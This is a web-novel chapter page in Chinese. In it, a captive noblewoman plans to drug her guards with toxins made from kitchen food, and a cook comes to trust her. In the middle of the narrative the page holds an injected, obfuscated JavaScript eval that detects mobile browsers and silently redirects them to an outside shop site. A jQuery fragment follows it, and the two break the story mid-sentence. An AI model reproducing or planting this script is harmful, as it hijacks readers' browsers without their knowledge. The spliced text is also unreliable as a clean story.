文趣网 > 其他小说 > 梅中月 > 19. 计划
    离开厨房后,张阿嬷、翠兰一头雾水地揣着几碗桂花奶冻回了屋子,一进门,翠兰把白瓷盏放到桌案上,又来回检查了一遍门窗都关严实了,这才凑过来,忙不迭问道:“小姐,我实在是不大明白,咱们今天就这么去厨房转了一圈,做了个桂花奶冻,跟那儿的人扯了几句闲天,我这脑子笨,真没瞧出来,您这到底是有什么计划?”

    刘景安正把方才在厨房外摘的一枝桂花插进梳妆台旁木柜上的一尺描金花觚里,往日里这个花觚空洞洞的,看得人心里发悬,她总是仍不住把它填上,这下桂花作了胆,清雅的花香盈满屋子。

    听到翠兰的疑问,她脑子里把柳大娘、采薇、采芹三人的样貌个性在心底过了一遍后,道:“第一次去,只是去摸一个底。”

    “张阿嬷,翠兰,我这个计划...很难说一定能成,却是眼下唯一行得通的办法。只是需要慢慢来,你们先仔细听着。”刘景安吸了一口花香,缓缓吐息,对她们温声解释道:“我们之后行事,一共分为两步。第一步,要从厨房的食物里制出迷药。第二步,把这迷药放进吃食里,让守卫心甘情愿地吃下去。”

    “啊?!”

    翠兰听得眼睛都直了:“从厨房的食物里制取迷药?小姐,这会不会有点难以做到啊,我们三个都不会药理啊。”

    张阿嬷嘴巴里能塞得下鸡蛋:“小姐,让守卫吃带着迷药的吃食?守卫会吃我们做的东西吗,他们应该会对我们很警惕才对。”

    “你们说的正是这个计划里最难的两点。”刘景安揉了揉眉心,这个计划并非天衣无缝,相反,它的漏洞很多,但是她不能放弃任何一个有可能逃脱殷负梅的机会,有人还在等着她。

    “其实,从厨房制取迷药并不是一件异想天开的事,在宣州的时候,衙门里常有毒死的案子,那些人并非被砒霜、鹤顶红这类剧毒害死,而是在日常吃食里,被家人加了用食物做出来的毒。比如过量的未煮熟四季豆、生杏仁,这些东西比砒霜、鹤顶红好买得多,也便宜得多,还不容易叫人察觉。”

    翠兰恍然大悟,“所以,小姐您是想,拜托采买的人顺道买些你爱吃的食材回来,把四季豆、杏仁夹在里头,然后不知不觉中稍些回来,做成汁水,再混到别的吃食里?”

    刘景安点头:“正是如此。至于第二个问题,如何让守卫吃下这些食物...”

    她眼神一暗,“这一步就更需要借柳大娘和采薇行事了。”

    “采薇性格活泼,应该与这个宅子里下人处得来,而柳大娘管着厨房采买,平日进出少不得与门卫照面,见面三分情,一来二去关系应该不错。我们下次去的时候,可以多做一些干的易携带的吃食,比如玫瑰饼。她们若吃不下,分给别人,久而久之,这宅子里的人对咱们送的东西,也就没那么戒备了。”

    刘景安尽量把她的计划讲的剥离、客观,可说着的时候,那些谋算别人的言辞,仍像一颗颗小石子,把她的嘴巴磨满了尖锐的苦涩。

    她知道采薇对自己的好,可是她却只能放任自己利用这份好意。

    她想起了宣州过去接收的难民。

    当她翻阅登记难民的册子时,发现几桩怪事,有几对夫妻疯疯癫癫,口口声声说有孩子,可他们身边并无半个孩童。

    经过一番调查后,才拨开真相。自天下大乱以来,物价飞涨,粮食遭哄抢,难民生存何其难,所以他们会做出许多残忍的事,比如...易子而食。

    得知事实的那一刻,比起愤怒,她内心升起的更多是一种可耻的清醒、庆幸,庆幸她拥有的东西还有很多,钱、权、兵,这个乱世里最要紧的东西,她都有,所以,她还可以守着那些生存之上的珍贵之物,不必舍弃作为人的尊严、道德、情感。

    可是,在这个陌生的宅子里,她一无所有,只能利用别人对自己的好、信任。

    而这一切的元凶首恶,就是那个殷负梅。是他,逼得自己去经历她人性里那些斑驳的、不堪的、不想承认的东西。

    她甚至想避免自己去恨他,他自有果报,而与他牵扯太深,只会把自己也变得跟他一般,人不人,鬼不鬼。

    刘景安沉默半晌,翠兰和张阿嬷没有注意到她的神色,正在细细思索,想找出计划里可以补足的地方。

    须臾,张阿嬷叹道:“我就是担心那个柳大娘,方才你们也看见了,她对我们也不热情,防着咱们跟防贼似的。我怕她们下一次就给我们使软钉子,不让我们再靠近厨房。”

    “柳大娘人不坏,她对采薇、采芹的一举一动里都是关护,可见是个热心肠。而她之所以对我们态度并不算好,”刘景安顿了一顿,眼神落在窗外,“是在忌讳殷负梅对我的态度。”

    殷负梅也是整个谋划里最有风险的一环,他不露面,可是这宅子就是他的眼睛,她的一举一动都在他的眼皮子底下,她去后厨的事,他会怎么想,是觉得她只是无聊解闷,还是别有端倪。

    他会怎么应对?

    是禁止她再去,还是放任。

    “我们隔天再去,看看殷负梅有没有什么反应,如果无事,那么柳大娘也不会像这次这般戒备了。”

    有了要做的事,人也不会那么惴惴不安,张阿嬷和翠兰两个人神色好上许多,刘景安挽起一个笑容,把桌上放着的白瓷展儿递给她们,“快尝尝,这里的桂花树品种不一样,是赤桂呢,也不知道味道尝起来会不会一样。”

    今早她在纸页上画正字时,才发现七日已经过去了,距离一个月的期限还有二十日。七日,已经是朔城到清河的一趟距离了,可桓恪...

    不急,他一定是有什么事耽误了,先做好自己能做的事,刘景安握紧汤匙,指尖泛白。

    --

    自那位夫人到后厨后,柳大娘的心啊,一直是惴惴的,时不时看着门外,生怕有卫兵把她拖出去打一顿,甚至到了疑神疑鬼的地步,一阵风吹过都吓得不行。采薇、采芹也劝不住她。

    翌日,管家果然来了。

    管家王生一进厨房,就看到柳大娘一副冷汗涔涔的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568354|204841||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    心虚模样望着自己。

    “?”王生疑惑,“你这是怎么了?”

    见王生面色平和,不像是来兴师问罪的,柳大娘脚不软了,松了口气道:“吓死我了。”

    王生心里更纳闷了,可他懒得去想主子以外的人有什么心思,径直道明来意:“六日后午时,主子会在摄云居设宴,约二十来人。你提前备好食材,这是我拟好的菜单。”说罢,将一份对折的单子递给柳大娘。

    柳大娘仔仔细细把这份单子收好了,见王生要走,她哎了一声,又喊住了他,“那个...”

    “有什么事直接说,别一副吞吞吐吐的样子。”王生眉纹加深。

    “就是,哎,那位夫人,”柳大娘一说那位夫人,王生就明白她说的是谁,面色严肃地追问道:“那位夫人怎么了。”

    于是柳大娘原原本本把昨日的事说了一遍,王生不语,她赶紧福了福身,赔着小心道:“管家大人,您给我句明白话吧,主子到底是个什么态度?那位夫人金尊玉贵的,来厨房这地方,又是刀又是火的,小的实在怕伤着人家啊。”

    王生沉吟片刻,这几日他也在给那位夫人做采办的事,头一回还特意报给主子,等他示下。结果,主子只笑了一笑,轻描淡写道:“不必问我。她想要什么,你直接去买就是。”

    “我会把这件事禀给主子的。”王生道,“不过,主子既然没有直接让人来找你,说明他是放任的。看主子的意思,只要那位夫人在摄云居,做什么都成。”

    有了王生的担保,柳大娘心一下子放了下去,隔日刘景安三人再来时,她的笑容真诚了许多。几日相处下来,她发现那位夫人看着冷冰冰的,实则性子十分温柔体贴,懂得也十分多。

    比如,采薇长了粉刺,柳大娘给她买了雪花膏后,那粉刺反而越长越明显,气得柳大娘大骂这雪花膏不顶事,贵了也没好货。

    刘景安听她抱怨,垂眸细细瞧着采薇脸上的粉刺,采薇也跟着低头。

    刘景安温声道:“这粉刺根上出油,多半是脸上的油脂把毛孔堵住了。雪花膏也是油性的,两样凑一块儿,反而让粉刺更厉害。”

    柳大娘一愣,知道是自己胡乱买了药,有些愧疚道:“这可怎么办,采薇的粉刺原本也不明显,被我这么一弄...”

    她原本以为面前的女子会让她去买什么昂贵的药物,贵夫人们总是对这些东西很熟稔,谁知,刘景安弯了弯眉毛,勾起一抹笑容:“只需要一只猪胰脏。”

    柳大娘、采芹、采薇三人面面相觑,以为自己听错了,猪胰脏?猪胰脏能治粉刺?这位夫人又怎么知道。

    刘景安见她们不信,笑着解释道:“猪胰脏本来就是祛除脂肪油污的东西。你们先将它去净油污,然后捣磨成糊拌入豆粉,晾干成块,这便是澡豆。再添上丁香、白茯苓、绿豆粉、甘松,日日使用,过几天粉滓便可除了。”

    采薇半信半疑地照做,隔了两日皮肤居然真的变好了,这下,柳大娘的笑容里还多了几分真诚的热络。